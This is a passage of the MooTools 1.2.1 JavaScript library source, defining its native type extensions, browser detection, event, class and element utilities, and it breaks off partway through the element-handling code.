var failed;

/*MooTools, My Object Oriented Javascript Tools. Copyright (c) 2006-2007 Valerio Proietti, <http://mad4milk.net>, MIT Style License.||Clientcide Copyright (c) 2006-2008, http://www.clientcide.com/wiki/cnet-libraries#license*/
var MooTools = {
    'version': '1.2.1',
    'build': '0d4845aab3d9a4fdee2f0d4a6dd59210e4b697cf'
};
var Native = function(options) {
    options = options || {};
    var name = options.name;
    var legacy = options.legacy;
    var protect = options.protect;
    var methods = options.implement;
    var generics = options.generics;
    var initialize = options.initialize;
    var afterImplement = options.afterImplement ||
    function() {};
    var object = initialize || legacy;
    generics = generics !== false;
    object.constructor = Native;
    object.$family = {
        name: 'native'
    };
    if (legacy && initialize) object.prototype = legacy.prototype;
    object.prototype.constructor = object;
    if (name) {
        var family = name.toLowerCase();
        object.prototype.$family = {
            name: family
        };
        Native.typize(object, family)
    }
    var add = function(obj, name, method, force) {
        if (!protect || force || !obj.prototype[name]) obj.prototype[name] = method;
        if (generics) Native.genericize(obj, name, protect);
        afterImplement.call(obj, name, method);
        return obj
    };
    object.alias = function(a1, a2, a3) {
        if (typeof a1 == 'string') {
            if ((a1 = this.prototype[a1])) return add(this, a2, a1, a3)
        }
        for (var a in a1) this.alias(a, a1[a], a2);
        return this
    };
    object.implement = function(a1, a2, a3) {
        if (typeof a1 == 'string') return add(this, a1, a2, a3);
        for (var p in a1) add(this, p, a1[p], a2);
        return this
    };
    if (methods) object.implement(methods);
    return object
};
Native.genericize = function(object, property, check) {
    if ((!check || !object[property]) && typeof object.prototype[property] == 'function') object[property] = function() {
        var args = Array.prototype.slice.call(arguments);
        return object.prototype[property].apply(args.shift(), args)
    }
};
Native.implement = function(objects, properties) {
    for (var i = 0, l = objects.length; i < l; i++) objects[i].implement(properties)
};
Native.typize = function(object, family) {
    if (!object.type) object.type = function(item) {
        return ($type(item) === family)
    }
}; (function() {
    var natives = {
        'Array': Array,
        'Date': Date,
        'Function': Function,
        'Number': Number,
        'RegExp': RegExp,
        'String': String
    };
    for (var n in natives) new Native({
        name: n,
        initialize: natives[n],
        protect: true
    });
    var types = {
        'boolean': Boolean,
        'native': Native,
        'object': Object
    };
    for (var t in types) Native.typize(types[t], t);
    var generics = {
        'Array': ["concat", "indexOf", "join", "lastIndexOf", "pop", "push", "reverse", "shift", "slice", "sort", "splice", "toString", "unshift", "valueOf"],
        'String': ["charAt", "charCodeAt", "concat", "indexOf", "lastIndexOf", "match", "replace", "search", "slice", "split", "substr", "substring", "toLowerCase", "toUpperCase", "valueOf"]
    };
    for (var g in generics) {
        for (var i = generics[g].length; i--;) Native.genericize(window[g], generics[g][i], true)
    }
})();
var Hash = new Native({
    name: 'Hash',
    initialize: function(object) {
        if ($type(object) == 'hash') object = $unlink(object.getClean());
        for (var key in object) this[key] = object[key];
        return this
    }
});
Hash.implement({
    forEach: function(fn, bind) {
        for (var key in this) {
            if (this.hasOwnProperty(key)) fn.call(bind, this[key], key, this)
        }
    },
    getClean: function() {
        var clean = {};
        for (var key in this) {
            if (this.hasOwnProperty(key)) clean[key] = this[key]
        }
        return clean
    },
    getLength: function() {
        var length = 0;
        for (var key in this) {
            if (this.hasOwnProperty(key)) length++
        }
        return length
    }
});
Hash.alias('forEach', 'each');
Array.implement({
    forEach: function(fn, bind) {
        for (var i = 0, l = this.length; i < l; i++) fn.call(bind, this[i], i, this)
    }
});
Array.alias('forEach', 'each');
function $A(iterable) {
    if (iterable.item) {
        var array = [];
        for (var i = 0, l = iterable.length; i < l; i++) array[i] = iterable[i];
        return array
    }
    return Array.prototype.slice.call(iterable)
};
function $arguments(i) {
    return function() {
        return arguments[i]
    }
};
function $chk(obj) {
    return !! (obj || obj === 0)
};
function $clear(timer) {
    clearTimeout(timer);
    clearInterval(timer);
    return null
};
function $defined(obj) {
    return (obj != undefined)
};
function $each(iterable, fn, bind) {
    var type = $type(iterable); ((type == 'arguments' || type == 'collection' || type == 'array') ? Array: Hash).each(iterable, fn, bind)
};
function $empty() {};
function $extend(original, extended) {
    for (var key in (extended || {})) original[key] = extended[key];
    return original
};
function $H(object) {
    return new Hash(object)
};
function $lambda(value) {
    return (typeof value == 'function') ? value: function() {
        return value
    }
};
function $merge() {
    var mix = {};
    for (var i = 0, l = arguments.length; i < l; i++) {
        var object = arguments[i];
        if ($type(object) != 'object') continue;
        for (var key in object) {
            var op = object[key],
            mp = mix[key];
            mix[key] = (mp && $type(op) == 'object' && $type(mp) == 'object') ? $merge(mp, op) : $unlink(op)
        }
    }
    return mix
};
function $pick() {
    for (var i = 0, l = arguments.length; i < l; i++) {
        if (arguments[i] != undefined) return arguments[i]
    }
    return null
};
function $random(min, max) {
    return Math.floor(Math.random() * (max - min + 1) + min)
};
function $splat(obj) {
    var type = $type(obj);
    return (type) ? ((type != 'array' && type != 'arguments') ? [obj] : obj) : []
};
var $time = Date.now ||
function() {
    return + new Date
};
function $try() {
    for (var i = 0, l = arguments.length; i < l; i++) {
        try {
            return arguments[i]()
        } catch(e) {}
    }
    return null
};
function $type(obj) {
    if (obj == undefined) return false;
    if (obj.$family) return (obj.$family.name == 'number' && !isFinite(obj)) ? false: obj.$family.name;
    if (obj.nodeName) {
        switch (obj.nodeType) {
        case 1:
            return 'element';
        case 3:
            return (/\S/).test(obj.nodeValue) ? 'textnode': 'whitespace'
        }
    } else if (typeof obj.length == 'number') {
        if (obj.callee) return 'arguments';
        else if (obj.item) return 'collection'
    }
    return typeof obj
};
function $unlink(object) {
    var unlinked;
    switch ($type(object)) {
    case 'object':
        unlinked = {};
        for (var p in object) unlinked[p] = $unlink(object[p]);
        break;
    case 'hash':
        unlinked = new Hash(object);
        break;
    case 'array':
        unlinked = [];
        for (var i = 0, l = object.length; i < l; i++) unlinked[i] = $unlink(object[i]);
        break;
    default:
        return object
    }
    return unlinked
};
var Browser = $merge({
    Engine: {
        name: 'unknown',
        version: 0
    },
    Platform: {
        name: (window.orientation != undefined) ? 'ipod': (navigator.platform.match(/mac|win|linux/i) || ['other'])[0].toLowerCase()
    },
    Features: {
        xpath: !!(document.evaluate),
        air: !!(window.runtime),
        query: !!(document.querySelector)
    },
    Plugins: {},
    Engines: {
        presto: function() {
            return (!window.opera) ? false: ((arguments.callee.caller) ? 960: ((document.getElementsByClassName) ? 950: 925))
        },
        trident: function() {
            return (!window.ActiveXObject) ? false: ((window.XMLHttpRequest) ? 5: 4)
        },
        webkit: function() {
            return (navigator.taintEnabled) ? false: ((Browser.Features.xpath) ? ((Browser.Features.query) ? 525: 420) : 419)
        },
        gecko: function() {
            return (document.getBoxObjectFor == undefined) ? false: ((document.getElementsByClassName) ? 19: 18)
        }
    }
},
Browser || {});
Browser.Platform[Browser.Platform.name] = true;
Browser.detect = function() {
    for (var engine in this.Engines) {
        var version = this.Engines[engine]();
        if (version) {
            this.Engine = {
                name: engine,
                version: version
            };
            this.Engine[engine] = this.Engine[engine + version] = true;
            break
        }
    }
    return {
        name: engine,
        version: version
    }
};
Browser.detect();
Browser.Request = function() {
    return $try(function() {
        return new XMLHttpRequest()
    },
    function() {
        return new ActiveXObject('MSXML2.XMLHTTP')
    })
};
Browser.Features.xhr = !!(Browser.Request());
Browser.Plugins.Flash = (function() {
    var version = ($try(function() {
        return navigator.plugins['Shockwave Flash'].description
    },
    function() {
        return new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version')
    }) || '0 r0').match(/\d+/g);
    return {
        version: parseInt(version[0] || 0 + '.' + version[1] || 0),
        build: parseInt(version[2] || 0)
    }
})();
function $exec(text) {
    if (!text) return text;
    if (window.execScript) {
        window.execScript(text)
    } else {
        var script = document.createElement('script');
        script.setAttribute('type', 'text/javascript');
        script[(Browser.Engine.webkit && Browser.Engine.version < 420) ? 'innerText': 'text'] = text;
        document.head.appendChild(script);
        document.head.removeChild(script)
    }
    return text
};
Native.UID = 1;
var $uid = (Browser.Engine.trident) ?
function(item) {
    return (item.uid || (item.uid = [Native.UID++]))[0]
}: function(item) {
    return item.uid || (item.uid = Native.UID++)
};
var Window = new Native({
    name: 'Window',
    legacy: (Browser.Engine.trident) ? null: window.Window,
    initialize: function(win) {
        $uid(win);
        if (!win.Element) {
            win.Element = $empty;
            if (Browser.Engine.webkit) win.document.createElement("iframe");
            win.Element.prototype = (Browser.Engine.webkit) ? window["[[DOMElement.prototype]]"] : {}
        }
        win.document.window = win;
        return $extend(win, Window.Prototype)
    },
    afterImplement: function(property, value) {
        window[property] = Window.Prototype[property] = value
    }
});
Window.Prototype = {
    $family: {
        name: 'window'
    }
};
new Window(window);
var Document = new Native({
    name: 'Document',
    legacy: (Browser.Engine.trident) ? null: window.Document,
    initialize: function(doc) {
        $uid(doc);
        doc.head = doc.getElementsByTagName('head')[0];
        doc.html = doc.getElementsByTagName('html')[0];
        if (Browser.Engine.trident && Browser.Engine.version <= 4) $try(function() {
            doc.execCommand("BackgroundImageCache", false, true)
        });
        if (Browser.Engine.trident) doc.window.attachEvent('onunload',
        function() {
            doc.window.detachEvent('onunload', arguments.callee);
            doc.head = doc.html = doc.window = null
        });
        return $extend(doc, Document.Prototype)
    },
    afterImplement: function(property, value) {
        document[property] = Document.Prototype[property] = value
    }
});
Document.Prototype = {
    $family: {
        name: 'document'
    }
};
new Document(document);
Array.implement({
    every: function(fn, bind) {
        for (var i = 0, l = this.length; i < l; i++) {
            if (!fn.call(bind, this[i], i, this)) return false
        }
        return true
    },
    filter: function(fn, bind) {
        var results = [];
        for (var i = 0, l = this.length; i < l; i++) {
            if (fn.call(bind, this[i], i, this)) results.push(this[i])
        }
        return results
    },
    clean: function() {
        return this.filter($defined)
    },
    indexOf: function(item, from) {
        var len = this.length;
        for (var i = (from < 0) ? Math.max(0, len + from) : from || 0; i < len; i++) {
            if (this[i] === item) return i
        }
        return - 1
    },
    map: function(fn, bind) {
        var results = [];
        for (var i = 0, l = this.length; i < l; i++) results[i] = fn.call(bind, this[i], i, this);
        return results
    },
    some: function(fn, bind) {
        for (var i = 0, l = this.length; i < l; i++) {
            if (fn.call(bind, this[i], i, this)) return true
        }
        return false
    },
    associate: function(keys) {
        var obj = {},
        length = Math.min(this.length, keys.length);
        for (var i = 0; i < length; i++) obj[keys[i]] = this[i];
        return obj
    },
    link: function(object) {
        var result = {};
        for (var i = 0, l = this.length; i < l; i++) {
            for (var key in object) {
                if (object[key](this[i])) {
                    result[key] = this[i];
                    delete object[key];
                    break
                }
            }
        }
        return result
    },
    contains: function(item, from) {
        return this.indexOf(item, from) != -1
    },
    extend: function(array) {
        for (var i = 0, j = array.length; i < j; i++) this.push(array[i]);
        return this
    },
    getLast: function() {
        return (this.length) ? this[this.length - 1] : null
    },
    getRandom: function() {
        return (this.length) ? this[$random(0, this.length - 1)] : null
    },
    include: function(item) {
        if (!this.contains(item)) this.push(item);
        return this
    },
    combine: function(array) {
        for (var i = 0, l = array.length; i < l; i++) this.include(array[i]);
        return this
    },
    erase: function(item) {
        for (var i = this.length; i--; i) {
            if (this[i] === item) this.splice(i, 1)
        }
        return this
    },
    empty: function() {
        this.length = 0;
        return this
    },
    flatten: function() {
        var array = [];
        for (var i = 0, l = this.length; i < l; i++) {
            var type = $type(this[i]);
            if (!type) continue;
            array = array.concat((type == 'array' || type == 'collection' || type == 'arguments') ? Array.flatten(this[i]) : this[i])
        }
        return array
    },
    hexToRgb: function(array) {
        if (this.length != 3) return null;
        var rgb = this.map(function(value) {
            if (value.length == 1) value += value;
            return value.toInt(16)
        });
        return (array) ? rgb: 'rgb(' + rgb + ')'
    },
    rgbToHex: function(array) {
        if (this.length < 3) return null;
        if (this.length == 4 && this[3] == 0 && !array) return 'transparent';
        var hex = [];
        for (var i = 0; i < 3; i++) {
            var bit = (this[i] - 0).toString(16);
            hex.push((bit.length == 1) ? '0' + bit: bit)
        }
        return (array) ? hex: '#' + hex.join('')
    }
});
Function.implement({
    extend: function(properties) {
        for (var property in properties) this[property] = properties[property];
        return this
    },
    create: function(options) {
        var self = this;
        options = options || {};
        return function(event) {
            var args = options.arguments;
            args = (args != undefined) ? $splat(args) : Array.slice(arguments, (options.event) ? 1: 0);
            if (options.event) args = [event || window.event].extend(args);
            var returns = function() {
                return self.apply(options.bind || null, args)
            };
            if (options.delay) return setTimeout(returns, options.delay);
            if (options.periodical) return setInterval(returns, options.periodical);
            if (options.attempt) return $try(returns);
            return returns()
        }
    },
    run: function(args, bind) {
        return this.apply(bind, $splat(args))
    },
    pass: function(args, bind) {
        return this.create({
            bind: bind,
            arguments: args
        })
    },
    bind: function(bind, args) {
        return this.create({
            bind: bind,
            arguments: args
        })
    },
    bindWithEvent: function(bind, args) {
        return this.create({
            bind: bind,
            arguments: args,
            event: true
        })
    },
    attempt: function(args, bind) {
        return this.create({
            bind: bind,
            arguments: args,
            attempt: true
        })()
    },
    delay: function(delay, bind, args) {
        return this.create({
            bind: bind,
            arguments: args,
            delay: delay
        })()
    },
    periodical: function(periodical, bind, args) {
        return this.create({
            bind: bind,
            arguments: args,
            periodical: periodical
        })()
    }
});
Number.implement({
    limit: function(min, max) {
        return Math.min(max, Math.max(min, this))
    },
    round: function(precision) {
        precision = Math.pow(10, precision || 0);
        return Math.round(this * precision) / precision
    },
    times: function(fn, bind) {
        for (var i = 0; i < this; i++) fn.call(bind, i, this)
    },
    toFloat: function() {
        return parseFloat(this)
    },
    toInt: function(base) {
        return parseInt(this, base || 10)
    }
});
Number.alias('times', 'each'); (function(math) {
    var methods = {};
    math.each(function(name) {
        if (!Number[name]) methods[name] = function() {
            return Math[name].apply(null, [this].concat($A(arguments)))
        }
    });
    Number.implement(methods)
})(['abs', 'acos', 'asin', 'atan', 'atan2', 'ceil', 'cos', 'exp', 'floor', 'log', 'max', 'min', 'pow', 'sin', 'sqrt', 'tan']);
String.implement({
    test: function(regex, params) {
        return ((typeof regex == 'string') ? new RegExp(regex, params) : regex).test(this)
    },
    contains: function(string, separator) {
        return (separator) ? (separator + this + separator).indexOf(separator + string + separator) > -1: this.indexOf(string) > -1
    },
    trim: function() {
        return this.replace(/^\s+|\s+$/g, '')
    },
    clean: function() {
        return this.replace(/\s+/g, ' ').trim()
    },
    camelCase: function() {
        return this.replace(/-\D/g,
        function(match) {
            return match.charAt(1).toUpperCase()
        })
    },
    hyphenate: function() {
        return this.replace(/[A-Z]/g,
        function(match) {
            return ('-' + match.charAt(0).toLowerCase())
        })
    },
    capitalize: function() {
        return this.replace(/\b[a-z]/g,
        function(match) {
            return match.toUpperCase()
        })
    },
    escapeRegExp: function() {
        return this.replace(/([-.*+?^${}()|[\]\/\\])/g, '\\$1')
    },
    toInt: function(base) {
        return parseInt(this, base || 10)
    },
    toFloat: function() {
        return parseFloat(this)
    },
    hexToRgb: function(array) {
        var hex = this.match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/);
        return (hex) ? hex.slice(1).hexToRgb(array) : null
    },
    rgbToHex: function(array) {
        var rgb = this.match(/\d{1,3}/g);
        return (rgb) ? rgb.rgbToHex(array) : null
    },
    stripScripts: function(option) {
        var scripts = '';
        var text = this.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi,
        function() {
            scripts += arguments[1] + '\n';
            return ''
        });
        if (option === true) $exec(scripts);
        else if ($type(option) == 'function') option(scripts, text);
        return text
    },
    substitute: function(object, regexp) {
        return this.replace(regexp || (/\\?\{([^{}]+)\}/g),
        function(match, name) {
            if (match.charAt(0) == '\\') return match.slice(1);
            return (object[name] != undefined) ? object[name] : ''
        })
    }
});
Hash.implement({
    has: Object.prototype.hasOwnProperty,
    keyOf: function(value) {
        for (var key in this) {
            if (this.hasOwnProperty(key) && this[key] === value) return key
        }
        return null
    },
    hasValue: function(value) {
        return (Hash.keyOf(this, value) !== null)
    },
    extend: function(properties) {
        Hash.each(properties,
        function(value, key) {
            Hash.set(this, key, value)
        },
        this);
        return this
    },
    combine: function(properties) {
        Hash.each(properties,
        function(value, key) {
            Hash.include(this, key, value)
        },
        this);
        return this
    },
    erase: function(key) {
        if (this.hasOwnProperty(key)) delete this[key];
        return this
    },
    get: function(key) {
        return (this.hasOwnProperty(key)) ? this[key] : null
    },
    set: function(key, value) {
        if (!this[key] || this.hasOwnProperty(key)) this[key] = value;
        return this
    },
    empty: function() {
        Hash.each(this,
        function(value, key) {
            delete this[key]
        },
        this);
        return this
    },
    include: function(key, value) {
        var k = this[key];
        if (k == undefined) this[key] = value;
        return this
    },
    map: function(fn, bind) {
        var results = new Hash;
        Hash.each(this,
        function(value, key) {
            results.set(key, fn.call(bind, value, key, this))
        },
        this);
        return results
    },
    filter: function(fn, bind) {
        var results = new Hash;
        Hash.each(this,
        function(value, key) {
            if (fn.call(bind, value, key, this)) results.set(key, value)
        },
        this);
        return results
    },
    every: function(fn, bind) {
        for (var key in this) {
            if (this.hasOwnProperty(key) && !fn.call(bind, this[key], key)) return false
        }
        return true
    },
    some: function(fn, bind) {
        for (var key in this) {
            if (this.hasOwnProperty(key) && fn.call(bind, this[key], key)) return true
        }
        return false
    },
    getKeys: function() {
        var keys = [];
        Hash.each(this,
        function(value, key) {
            keys.push(key)
        });
        return keys
    },
    getValues: function() {
        var values = [];
        Hash.each(this,
        function(value) {
            values.push(value)
        });
        return values
    },
    toQueryString: function(base) {
        var queryString = [];
        Hash.each(this,
        function(value, key) {
            if (base) key = base + '[' + key + ']';
            var result;
            switch ($type(value)) {
            case 'object':
                result = Hash.toQueryString(value, key);
                break;
            case 'array':
                var qs = {};
                value.each(function(val, i) {
                    qs[i] = val
                });
                result = Hash.toQueryString(qs, key);
                break;
            default:
                result = key + '=' + encodeURIComponent(value)
            }
            if (value != undefined) queryString.push(result)
        });
        return queryString.join('&')
    }
});
Hash.alias({
    keyOf: 'indexOf',
    hasValue: 'contains'
});
var Event = new Native({
    name: 'Event',
    initialize: function(event, win) {
        win = win || window;
        var doc = win.document;
        event = event || win.event;
        if (event.$extended) return event;
        this.$extended = true;
        var type = event.type;
        var target = event.target || event.srcElement;
        while (target && target.nodeType == 3) target = target.parentNode;
        if (type.test(/key/)) {
            var code = event.which || event.keyCode;
            var key = Event.Keys.keyOf(code);
            if (type == 'keydown') {
                var fKey = code - 111;
                if (fKey > 0 && fKey < 13) key = 'f' + fKey
            }
            key = key || String.fromCharCode(code).toLowerCase()
        } else if (type.match(/(click|mouse|menu)/i)) {
            doc = (!doc.compatMode || doc.compatMode == 'CSS1Compat') ? doc.html: doc.body;
            var page = {
                x: event.pageX || event.clientX + doc.scrollLeft,
                y: event.pageY || event.clientY + doc.scrollTop
            };
            var client = {
                x: (event.pageX) ? event.pageX - win.pageXOffset: event.clientX,
                y: (event.pageY) ? event.pageY - win.pageYOffset: event.clientY
            };
            if (type.match(/DOMMouseScroll|mousewheel/)) {
                var wheel = (event.wheelDelta) ? event.wheelDelta / 120: -(event.detail || 0) / 3
            }
            var rightClick = (event.which == 3) || (event.button == 2);
            var related = null;
            if (type.match(/over|out/)) {
                switch (type) {
                case 'mouseover':
                    related = event.relatedTarget || event.fromElement;
                    break;
                case 'mouseout':
                    related = event.relatedTarget || event.toElement
                }
                if (! (function() {
                    while (related && related.nodeType == 3) related = related.parentNode;
                    return true
                }).create({
                    attempt: Browser.Engine.gecko
                })()) related = false
            }
        }
        return $extend(this, {
            event: event,
            type: type,
            page: page,
            client: client,
            rightClick: rightClick,
            wheel: wheel,
            relatedTarget: related,
            target: target,
            code: code,
            key: key,
            shift: event.shiftKey,
            control: event.ctrlKey,
            alt: event.altKey,
            meta: event.metaKey
        })
    }
});
Event.Keys = new Hash({
    'enter': 13,
    'up': 38,
    'down': 40,
    'left': 37,
    'right': 39,
    'esc': 27,
    'space': 32,
    'backspace': 8,
    'tab': 9,
    'delete': 46
});
Event.implement({
    stop: function() {
        return this.stopPropagation().preventDefault()
    },
    stopPropagation: function() {
        if (this.event.stopPropagation) this.event.stopPropagation();
        else this.event.cancelBubble = true;
        return this
    },
    preventDefault: function() {
        if (this.event.preventDefault) this.event.preventDefault();
        else this.event.returnValue = false;
        return this
    }
});
var Class = new Native({
    name: 'Class',
    initialize: function(properties) {
        properties = properties || {};
        var klass = function() {
            for (var key in this) {
                if ($type(this[key]) != 'function') this[key] = $unlink(this[key])
            }
            this.constructor = klass;
            if (Class.prototyping) return this;
            var instance = (this.initialize) ? this.initialize.apply(this, arguments) : this;
            if (this.options && this.options.initialize) this.options.initialize.call(this);
            return instance
        };
        for (var mutator in Class.Mutators) {
            if (!properties[mutator]) continue;
            properties = Class.Mutators[mutator](properties, properties[mutator]);
            delete properties[mutator]
        }
        $extend(klass, this);
        klass.constructor = Class;
        klass.prototype = properties;
        return klass
    }
});
Class.Mutators = {
    Extends: function(self, klass) {
        Class.prototyping = klass.prototype;
        var subclass = new klass;
        delete subclass.parent;
        subclass = Class.inherit(subclass, self);
        delete Class.prototyping;
        return subclass
    },
    Implements: function(self, klasses) {
        $splat(klasses).each(function(klass) {
            Class.prototyping = klass;
            $extend(self, ($type(klass) == 'class') ? new klass: klass);
            delete Class.prototyping
        });
        return self
    }
};
Class.extend({
    inherit: function(object, properties) {
        var caller = arguments.callee.caller;
        for (var key in properties) {
            var override = properties[key];
            var previous = object[key];
            var type = $type(override);
            if (previous && type == 'function') {
                if (override != previous) {
                    if (caller) {
                        override.__parent = previous;
                        object[key] = override
                    } else {
                        Class.override(object, key, override)
                    }
                }
            } else if (type == 'object') {
                object[key] = $merge(previous, override)
            } else {
                object[key] = override
            }
        }
        if (caller) object.parent = function() {
            return arguments.callee.caller.__parent.apply(this, arguments)
        };
        return object
    },
    override: function(object, name, method) {
        var parent = Class.prototyping;
        if (parent && object[name] != parent[name]) parent = null;
        var override = function() {
            var previous = this.parent;
            this.parent = parent ? parent[name] : object[name];
            var value = method.apply(this, arguments);
            this.parent = previous;
            return value
        };
        object[name] = override
    }
});
Class.implement({
    implement: function() {
        var proto = this.prototype;
        $each(arguments,
        function(properties) {
            Class.inherit(proto, properties)
        });
        return this
    }
});
var Chain = new Class({
    $chain: [],
    chain: function() {
        this.$chain.extend(Array.flatten(arguments));
        return this
    },
    callChain: function() {
        return (this.$chain.length) ? this.$chain.shift().apply(this, arguments) : false
    },
    clearChain: function() {
        this.$chain.empty();
        return this
    }
});
var Events = new Class({
    $events: {},
    addEvent: function(type, fn, internal) {
        type = Events.removeOn(type);
        if (fn != $empty) {
            this.$events[type] = this.$events[type] || [];
            this.$events[type].include(fn);
            if (internal) fn.internal = true
        }
        return this
    },
    addEvents: function(events) {
        for (var type in events) this.addEvent(type, events[type]);
        return this
    },
    fireEvent: function(type, args, delay) {
        type = Events.removeOn(type);
        if (!this.$events || !this.$events[type]) return this;
        this.$events[type].each(function(fn) {
            fn.create({
                'bind': this,
                'delay': delay,
                'arguments': args
            })()
        },
        this);
        return this
    },
    removeEvent: function(type, fn) {
        type = Events.removeOn(type);
        if (!this.$events[type]) return this;
        if (!fn.internal) this.$events[type].erase(fn);
        return this
    },
    removeEvents: function(events) {
        if ($type(events) == 'object') {
            for (var type in events) this.removeEvent(type, events[type]);
            return this
        }
        if (events) events = Events.removeOn(events);
        for (var type in this.$events) {
            if (events && events != type) continue;
            var fns = this.$events[type];
            for (var i = fns.length; i--; i) this.removeEvent(type, fns[i])
        }
        return this
    }
});
Events.removeOn = function(string) {
    return string.replace(/^on([A-Z])/,
    function(full, first) {
        return first.toLowerCase()
    })
};
var Options = new Class({
    setOptions: function() {
        this.options = $merge.run([this.options].extend(arguments));
        if (!this.addEvent) return this;
        for (var option in this.options) {
            if ($type(this.options[option]) != 'function' || !(/^on[A-Z]/).test(option)) continue;
            this.addEvent(option, this.options[option]);
            delete this.options[option]
        }
        return this
    }
});
var Element = new Native({
    name: 'Element',
    legacy: window.Element,
    initialize: function(tag, props) {
        var konstructor = Element.Constructors.get(tag);
        if (konstructor) return konstructor(props);
        if (typeof tag == 'string') return document.newElement(tag, props);
        return $(tag).set(props)
    },
    afterImplement: function(key, value) {
        Element.Prototype[key] = value;
        if (Array[key]) return;
        Elements.implement(key,
        function() {
            var items = [],
            elements = true;
            for (var i = 0, j = this.length; i < j; i++) {
                var returns = this[i][key].apply(this[i], arguments);
                items.push(returns);
                if (elements) elements = ($type(returns) == 'element')
            }
            return (elements) ? new Elements(items) : items
        })
    }
});
Element.Prototype = {
    $family: {
        name: 'element'
    }
};
Element.Constructors = new Hash;
var IFrame = new Native({
    name: 'IFrame',
    generics: false,
    initialize: function() {
        var params = Array.link(arguments, {
            properties: Object.type,
            iframe: $defined
        });
        var props = params.properties || {};
        var iframe = $(params.iframe) || false;
        var onload = props.onload || $empty;
        delete props.onload;
        props.id = props.name = $pick(props.id, props.name, iframe.id, iframe.name, 'IFrame_' + $time());
        iframe = new Element(iframe || 'iframe', props);
        var onFrameLoad = function() {
            var host = $try(function() {
                return iframe.contentWindow.location.host
            });
            if (host && host == window.location.host) {
                var win = new Window(iframe.contentWindow);
                new Document(iframe.contentWindow.document);
                $extend(win.Element.prototype, Element.Prototype)
            }
            onload.call(iframe.contentWindow, iframe.contentWindow.document)
        }; (window.frames[props.id]) ? onFrameLoad() : iframe.addListener('load', onFrameLoad);
        return iframe
    }
});
var Elements = new Native({
    initialize: function(elements, options) {
        options = $extend({
            ddup: true,
            cash: true
        },
        options);
        elements = elements || [];
        if (options.ddup || options.cash) {
            var uniques = {},
            returned = [];
            for (var i = 0, l = elements.length; i < l; i++) {
                var el = $.element(elements[i], !options.cash);
                if (options.ddup) {
                    if (uniques[el.uid]) continue;
                    uniques[el.uid] = true
                }
                returned.push(el)
            }
            elements = returned
        }
        return (options.cash) ? $extend(elements, this) : elements
    }
});
Elements.implement({
    filter: function(filter, bind) {
        if (!filter) return this;
        return new Elements(Array.filter(this, (typeof filter == 'string') ?
        function(item) {
            return item.match(filter)
        }: filter, bind))
    }
});
Document.implement({
    newElement: function(tag, props) {
        if (Browser.Engine.trident && props) { ['name', 'type', 'checked'].each(function(attribute) {
                if (!props[attribute]) return;
                tag += ' ' + attribute + '="' + props[attribute] + '"';
                if (attribute != 'checked') delete props[attribute]
            });
            tag = '<' + tag + '>'
        }
        return $.element(this.createElement(tag)).set(props)
    },
    newTextNode: function(text) {
        return this.createTextNode(text)
    },
    getDocument: function() {
        return this
    },
    getWindow: function() {
        return this.window
    }
});
Window.implement({
    $: function(el, nocash) {
        if (el && el.$family && el.uid) return el;
        var type = $type(el);
        return ($[type]) ? $[type](el, nocash, this.document) : null
    },
    $$: function(selector) {
        if (arguments.length == 1 && typeof selector == 'string') return this.document.getElements(selector);
        var elements = [];
        var args = Array.flatten(arguments);
        for (var i = 0, l = args.length; i < l; i++) {
            var item = args[i];
            switch ($type(item)) {
            case 'element':
                elements.push(item);
                break;
            case 'string':
                elements.extend(this.document.getElements(item, true))
            }
        }
        return new Elements(elements)
    },
    getDocument: function() {
        return this.document
    },
    getWindow: function() {
        return this
    }
});
$.string = function(id, nocash, doc) {
    id = doc.getElementById(id);
    return (id) ? $.element(id, nocash) : null
};
$.element = function(el, nocash) {
    $uid(el);
    if (!nocash && !el.$family && !(/^object|embed$/i).test(el.tagName)) {
        var proto = Element.Prototype;
        for (var p in proto) el[p] = proto[p]
    };
    return el
};
$.object = function(obj, nocash, doc) {
    if (obj.toElement) return $.element(obj.toElement(doc), nocash);
    return null
};
$.textnode = $.whitespace = $.window = $.document = $arguments(0);
Native.implement([Element, Document], {
    getElement: function(selector, nocash) {
        return $(this.getElements(selector, true)[0] || null, nocash)
    },
    getElements: function(tags, nocash) {
        tags = tags.split(',');
        var elements = [];
        var ddup = (tags.length > 1);
        tags.each(function(tag) {
            var partial = this.getElementsByTagName(tag.trim()); (ddup) ? elements.extend(partial) : elements = partial
        },
        this);
        return new Elements(elements, {
            ddup: ddup,
            cash: !nocash
        })
    }
}); (function() {
    var collected = {},
    storage = {};
    var props = {
        input: 'checked',
        option: 'selected',
        textarea: (Browser.Engine.webkit && Browser.Engine.version < 420) ? 'innerHTML': 'value'
    };
    var get = function(uid) {
        return (storage[uid] || (storage[uid] = {}))
    };
    var clean = function(item, retain) {
        if (!item) return;
        var uid = item.uid;
        if (Browser.Engine.trident) {
            if (item.clearAttributes) {
                var clone = retain && item.cloneNode(false);
                item.clearAttributes();
                if (clone) item.mergeAttributes(clone)
            } else if (item.removeEvents) {
                item.removeEvents()
            }
            if ((/object/i).test(item.tagName)) {
                for (var p in item) {
                    if (typeof item[p] == 'function') item[p] = $empty
                }
                Element.dispose(item)
            }
        }
        if (!uid) return;
        collected[uid] = storage[uid] = null
    };
    var purge = function() {
        Hash.each(collected, clean);
        if (Browser.Engine.trident) $A(document.getElementsByTagName('object')).each(clean);
        if (window.CollectGarbage) CollectGarbage();
        collected = storage = null
    };
    var walk = function(element, walk, start, match, all, nocash) {
        var el = element[start || walk];
        var elements = [];
        while (el) {
            if (el.nodeType == 1 && (!match || Element.match(el, match))) {
                if (!all) return $(el, nocash);
                elements.push(el)
            }
            el = el[walk]
        }
        return (all) ? new Elements(elements, {
            ddup: false,
            cash: !nocash
        }) : null
    };
    var attributes = {
        'html': 'innerHTML',
        'class': 'className',
        'for': 'htmlFor',
        'text': (Browser.Engine.trident || (Browser.Engine.webkit && Browser.Engine.version < 420)) ? 'innerText': 'textContent'
    };
    var bools = ['compact', 'nowrap', 'ismap', 'declare', 'noshade', 'checked', 'disabled', 'readonly', 'multiple', 'selected', 'noresize', 'defer'];
    var camels = ['value', 'accessKey', 'cellPadding', 'cellSpacing', 'colSpan', 'frameBorder', 'maxLength', 'readOnly', 'rowSpan', 'tabIndex', 'useMap'];
    Hash.extend(attributes, bools.associate(bools));
    Hash.extend(attributes, camels.associate(camels.map(String.toLowerCase)));
    var inserters = {
        before: function(context, element) {
            if (element.parentNode) element.parentNode.insertBefore(context, element)
        },
        after: function(context, element) {
